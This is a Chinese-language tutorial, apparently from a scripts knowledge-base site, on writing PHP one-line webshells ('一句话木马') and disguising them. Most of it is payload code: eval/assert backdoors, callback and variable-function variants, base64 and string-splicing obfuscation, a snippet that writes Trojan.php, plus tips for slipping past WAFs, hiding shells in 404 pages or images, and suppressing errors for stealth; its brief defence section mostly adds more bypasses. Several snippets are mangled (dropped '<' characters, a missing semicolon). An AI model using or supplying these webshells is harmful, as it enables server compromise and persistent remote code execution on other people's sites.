主頁 > 知識庫 > php一句話木馬變形技巧

php一句話木馬變形技巧

熱門標簽:安裝電銷外呼系統(tǒng) 百度商鋪地圖標注 地圖標注平臺怎么給錢注冊 衡水外呼系統(tǒng)平臺 注冊400電話申請 福州人工外呼系統(tǒng)哪家強 常州地圖標注服務商 釘釘打卡地圖標注 新河科技智能外呼系統(tǒng)怎么樣

一、什么是一句話木馬?

一句話木馬就是只需要一行代碼的木馬,短短一行代碼,就能做到和大馬相當的功能。為了繞過waf的檢測,一句話木馬出現了無數中變形,但本質是不變的:木馬的函數執(zhí)行了我們發(fā)送的命令。

二、我們如何發(fā)送命令,發(fā)送的命令如何執(zhí)行?

我們可以通過 GET、POST、COOKIE這三種方式向一個網站提交數據,一句話木馬用 $_GET[' ']、$_POST[' ']、$_COOKIE[' ']接收我們傳遞的數據,并把接收的數據傳遞給一句話木馬中執(zhí)行命令的函數,進而執(zhí)行命令。 所以看到的經典一句話木馬大多都是只有兩個部分,一個是可以執(zhí)行代碼的函數部分,一個是接收數據的部分。

0.eval函數

?php eval($_POST['a']) ?>

其中eval就是執(zhí)行命令的函數,**$_POST[‘a']**就是接收的數據。eval函數把接收的數據當作PHP代碼來執(zhí)行。這樣我們就能夠讓插入了一句話木馬的網站執(zhí)行我們傳遞過去的任意PHP語句。這便是一句話木馬的強大之處。

因為木馬是接收post請求中 “a” 的數據( $_POST[‘a']),所以我們必須以post方法發(fā)送數據并且將我們要執(zhí)行的代碼賦值給“a”。如果把木馬中的post替換成get,那么我么就需要以GET方法發(fā)送“a”,

使用 其他函數制作一句話木馬

1.assert函數

?php assert(@$_POST['a']); ?>

2.create_function函數

?php$fun = create_function('',$_POST['a']);$fun();?>

把用戶傳遞的數據生成一個函數fun(),然后再執(zhí)行fun()

3. call_user_func回調函數

?php@call_user_func(assert,$_POST['a']);?>

call_user_func這個函數可以調用其它函數,被調用的函數是call_user_func的第一個函數,被調用的函數的參數是call_user_func的第二個參數。

這樣的一個語句也可以完成一句話木馬。一些被waf攔截的木馬可以配合這個函數繞過waf。

4.preg_replace函數

?php@preg_replace("/abcde/e", $_POST['a'], "abcdefg");?>

這個函數原本是利用正則表達式替換符合條件的字符串,但是這個函數有一個功能——可執(zhí)行命令。

這個函數的第一個參數是正則表達式,按照PHP的格式,表達式在兩個“/”之間。如果我們在這個表達式的末尾加上“e”,那么這個函數的第二個參數就會被當作代碼執(zhí)行。

5. file_put_contents函數

利用函數生成木馬

?php
$test='?php $a=$_POST["cmd"];assert($a); ?>';
file_put_contents("Trojan.php", $test);
?>

函數功能:生成一個文件,第一個參數是文件名,第二個參數是文件的內容。

6.array數組

?php$a='assert';array_map("$a",$_REQUEST);?>

上述定義參數a并賦值‘assert',利用array_map()函數將執(zhí)行語句進行拼接。最終實現assert($_REQUEST)。

?php$item['JON']='assert';$array[]=$item;$array[0]['JON']($_POST["TEST"]);?>

利用函數的組合效果,使得多個參數在傳遞后組合成一段命令并執(zhí)行。

7.PHP變量函數

?php$a = "eval";$a(@$_POST['a']);?>

第三行使用了變量函數$a,變量儲存了函數名eval,便可以直接用變量替代函數名。

三、如何讓一句話木馬繞過waf ?

waf是網站的防火墻,例如安全狗就是waf的一種。waf通常以關鍵字判斷是否為一句話木馬,但是一句話木馬的變形有很多種,waf根本不可能全部攔截。想要繞過waf,需要掌握各種PHP小技巧,掌握的技巧多了,把技巧結合起來,設計出屬于自己的一句話木馬。

1.PHP可變變量

?php$bb="eval";$aa="bb";$$aa($_POST['a']);?>

看這句就能理解上述語句:$$aa = ( ( (aa) = $ (‘bb') = $bb = “eval”

2.str_replace函數

?php$a=str_replace("Waldo", "", "eWaldoval");$a(@$_POST['a']);?>

函數功能:在第三個參數中,查找第一個參數,并替換成第二個參數。這里第二個參數為空字符串,就相當于刪除"Waldo"。

3. base64_decode函數

?php$a=base64_decode("ZXZhbA==")$a($_POST['a']);?>

這里是base64解密函數,"ZXZhbA=="是eval的base64加密。

4."."操作符

?php$a="e"."v";$b="a"."l";$c=$a.$b;$c($_POST['a']);?>

5.parse_str函數

?php$str="a=eval";parse_str($str);$a($_POST['a']);?>

執(zhí)行這個函數后,生成一個變量$a,值為字符串"eval"

6.更換數據來源

6.1GET篇

?php $_GET[a]($_GET[b]);  ?>
?php @eval( $_GET[$_GET[b]])>

利用方法:

b=cmdcmd=phpinfo()

6.2利用script代替? 、?>標簽

script language="php">@eval_r($_GET[b])/script>

6.3利用session

7.字符替換或特殊編碼

8.木馬藏匿

1.404頁面

2.圖片木馬,用文件包含調用

四、總結

繞過技巧:

  • 更換執(zhí)行數據來源
  • 字符替換或者編碼
  • 采取隱匿手段

tips:使用一句話木馬的時候可以在函數前加”@”符,這個符號讓php語句不顯示錯誤信息,增加隱蔽性。

五、防御

1.禁用assert()函數,監(jiān)控eval()
2.搜索日志的assert。
亦可能繞過:

?php $c=$_GET[n].'t'; @$c($_POST[cmd]); ?>
?php $c=base64_decode('YXNzZXI=').$_GET[n].'t'; @$c($_POST[cmd]); ?>

以上就是php一句話木馬變形技巧的詳細內容,更多關于php一句話木馬變形技巧的資料請關注腳本之家其它相關文章!

您可能感興趣的文章:
  • PHP與SQL語句寫一句話木馬總結
  • php eval函數一句話木馬代碼
  • 一句話木馬的原理及利用分析(asp,aspx,php,jsp)
  • php一句話cmdshell新型 (非一句話木馬)
  • asp,php一句話木馬整理方便查找木馬
  • PHP Web木馬掃描器代碼分享
  • php木馬webshell掃描器代碼
  • PHP Web木馬掃描器代碼 v1.0 安全測試工具
  • 精確查找PHP WEBSHELL木馬的方法(1)
  • Ha0k 0.3 PHP 網頁木馬修改版
  • PHP 木馬攻擊的防御設置方法
  • 全世界最小的php網頁木馬一枚 附PHP木馬的防范方法

標簽:白城 唐山 鶴崗 鷹潭 克拉瑪依 遼陽 柳州 六安

巨人網絡通訊聲明:本文標題《php一句話木馬變形技巧》,本文關鍵詞  php,一句話,木馬,變形,技巧,;如發(fā)現本文內容存在版權問題,煩請?zhí)峁┫嚓P信息告之我們,我們將及時溝通與處理。本站內容系統(tǒng)采集于網絡,涉及言論、版權與本站無關。
  • 相關文章
  • 下面列出與本文章《php一句話木馬變形技巧》相關的同類信息!
  • 本頁收集關于php一句話木馬變形技巧的相關信息資訊供網民參考!
  • 推薦文章